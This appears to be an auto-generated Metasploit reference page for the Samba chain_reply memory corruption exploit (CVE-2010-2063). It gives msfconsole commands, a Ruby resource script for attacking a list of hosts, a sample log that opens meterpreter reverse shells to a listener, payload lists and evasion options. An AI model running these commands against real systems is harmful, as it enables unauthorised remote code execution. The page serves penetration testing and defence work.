Samba chain_reply Memory Corruption (Linux x86) - Metasploit
This page contains detailed information about how to use the exploit/linux/samba/chain_reply metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Samba chain_reply Memory Corruption (Linux x86)
Module: exploit/linux/samba/chain_reply
Source code: modules/exploits/linux/samba/chain_reply.rb
Disclosure date: 2010-06-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2010-2063
This exploits a memory corruption vulnerability present in Samba versions prior to 3.3.13. When handling chained response packets, Samba fails to validate the offset value used when building the next part. By setting this value to a number larger than the destination buffer size, an attacker can corrupt memory. Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will cause the header of the input buffer chunk to be corrupted. After close inspection, it appears that 3.0.x versions of Samba are not exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot cause memory to be corrupted in an exploitable way. It is possible to corrupt the heap header of the "InputBuffer", but it didn't seem possible to get the chunk to be processed again prior to process exit. In order to gain code execution, this exploit attempts to overwrite a "talloc chunk" destructor function pointer. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the nx memory protection. NOTE: It is possible to make exploitation attempts indefinitely since Samba forks for user sessions in the default configuration.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using chain_reply against a single host
Normally, you can use exploit/linux/samba/chain_reply this way:
msf > use exploit/linux/samba/chain_reply
msf exploit(chain_reply) > show targets
... a list of targets ...
msf exploit(chain_reply) > set TARGET target-id
msf exploit(chain_reply) > show options
... show and set options ...
msf exploit(chain_reply) > exploit
Using chain_reply against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your chain_reply will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/samba/chain_reply")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/samba/chain_reply exploit module looks in the msfconsole:
msf6 > use exploit/linux/samba/chain_reply
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/chain_reply) > show info
Name: Samba chain_reply Memory Corruption (Linux x86)
Module: exploit/linux/samba/chain_reply
Platform: Linux
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2010-06-16
Provided by:
Jun Mao
jduck <[email protected]>
Available targets:
Id Name
-- ----
0 Linux (Debian5 3.2.5-4lenny6)
1 Debugging Target
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)
Payload information:
Space: 1536
Avoid: 0 characters
Description:
This exploits a memory corruption vulnerability present in Samba
versions prior to 3.3.13. When handling chained response packets,
Samba fails to validate the offset value used when building the next
part. By setting this value to a number larger than the destination
buffer size, an attacker can corrupt memory. Additionally, setting
this value to a value smaller than 'smb_wct' (0x24) will cause the
header of the input buffer chunk to be corrupted. After close
inspection, it appears that 3.0.x versions of Samba are not
exploitable. Since they use an "InputBuffer" size of 0x20441, an
attacker cannot cause memory to be corrupted in an exploitable way.
It is possible to corrupt the heap header of the "InputBuffer", but
it didn't seem possible to get the chunk to be processed again prior
to process exit. In order to gain code execution, this exploit
attempts to overwrite a "talloc chunk" destructor function pointer.
This particular module is capable of exploiting the flaw on x86
Linux systems that do not have the nx memory protection. NOTE: It is
possible to make exploitation attempts indefinitely since Samba
forks for user sessions in the default configuration.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-2063
OSVDB (65518)
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873
Module Options
This is a complete list of options available in the linux/samba/chain_reply exploit:
msf6 exploit(linux/samba/chain_reply) > show options
Module options (exploit/linux/samba/chain_reply):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 139 yes The target port (TCP)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux (Debian5 3.2.5-4lenny6)
Advanced Options
Here is a complete list of advanced options supported by the linux/samba/chain_reply exploit:
msf6 exploit(linux/samba/chain_reply) > show advanced
Module advanced options (exploit/linux/samba/chain_reply):
Name Current Setting Required Description
---- --------------- -------- -----------
BruteStep no Step size between brute force attempts
BruteWait no Delay between brute force attempts
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBDomain . no The Windows domain to use for authentication
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/samba/chain_reply module can exploit:
msf6 exploit(linux/samba/chain_reply) > show targets
Exploit targets:
Id Name
-- ----
0 Linux (Debian5 3.2.5-4lenny6)
1 Debugging Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/samba/chain_reply exploit:
msf6 exploit(linux/samba/chain_reply) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/adduser normal No Linux Add User
6 payload/linux/x86/chmod normal No Linux Chmod
7 payload/linux/x86/exec normal No Linux Execute Command
8 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
9 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
10 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
11 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
12 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
13 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
14 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
18 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
19 payload/linux/x86/read_file normal No Linux Read File
20 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
23 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
24 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
26 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
30 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
31 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
32 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
33 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/samba/chain_reply exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/samba/chain_reply) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13417 Merged Pull Request: SMBv3 integration with Framework
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4768 Merged Pull Request: Reorganize SMB mixins
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE-2010-2063
- OSVDB (65518)
- http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873
See Also
Check also the following modules related to this module:
- auxiliary/admin/smb/samba_symlink_traversal
- auxiliary/dos/samba/lsa_addprivs_heap
- auxiliary/dos/samba/lsa_transnames_heap
- auxiliary/dos/samba/read_nttrans_ea_list
- exploit/freebsd/samba/trans2open
- exploit/linux/samba/is_known_pipename
- exploit/linux/samba/lsa_transnames_heap
- exploit/linux/samba/setinfopolicy_heap
- exploit/linux/samba/trans2open
- exploit/multi/samba/nttrans
- exploit/multi/samba/usermap_script
- exploit/osx/samba/lsa_transnames_heap
- exploit/osx/samba/trans2open
- exploit/solaris/samba/lsa_transnames_heap
- exploit/solaris/samba/trans2open
- exploit/windows/http/sambar6_search_results
- exploit/linux/http/nagios_xi_chained_rce
- exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
- exploit/multi/browser/java_trusted_chain
- exploit/unix/webapp/opensis_chain_exec
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/windows/ftp/32bitftp_list_reply
- exploit/windows/ftp/aasync_list_reply
- exploit/windows/ftp/filewrangler_list_reply
- exploit/windows/ftp/ftpgetter_pwd_reply
- exploit/windows/ftp/ftppad_list_reply
- exploit/windows/ftp/ftpshell51_pwd_reply
- exploit/windows/ftp/ftpsynch_list_reply
- exploit/windows/ftp/gekkomgr_list_reply
- exploit/windows/ftp/leapftp_list_reply
- exploit/windows/ftp/leapftp_pasv_reply
- exploit/windows/ftp/odin_list_reply
- exploit/windows/ftp/seagull_list_reply
- auxiliary/server/openssl_altchainsforgery_mitm_proxy
- post/osx/gather/enum_keychain
Related Nessus plugins:
- RHEL 3 / 4 / 5 : samba and samba3x (RHSA-2010:0488)
- Ubuntu 6.06 LTS / 8.04 LTS / 9.04 : samba vulnerability (USN-951-1)
- Samba 3.x < 3.3.13 SMB1 Packet Chaining Memory Corruption
- Mandriva Linux Security Advisory : samba (MDVSA-2010:119)
- Slackware 10.0 / 10.1 / 10.2 / 11.0 / 12.0 / 12.1 / 12.2 / 13.0 : samba (SSA:2010-169-01)
- CentOS 3 / 4 / 5 : samba / samba3x (CESA-2010:0488)
- Debian DSA-2061-1 : samba - memory corruption
- SuSE9 Security Update : Samba (YOU Patch Number 12622)
- openSUSE Security Update : cifs-mount (openSUSE-SU-2010:0346-1)
- openSUSE Security Update : cifs-mount (openSUSE-SU-2010:0346-1)
Authors
- Jun Mao
- jduck
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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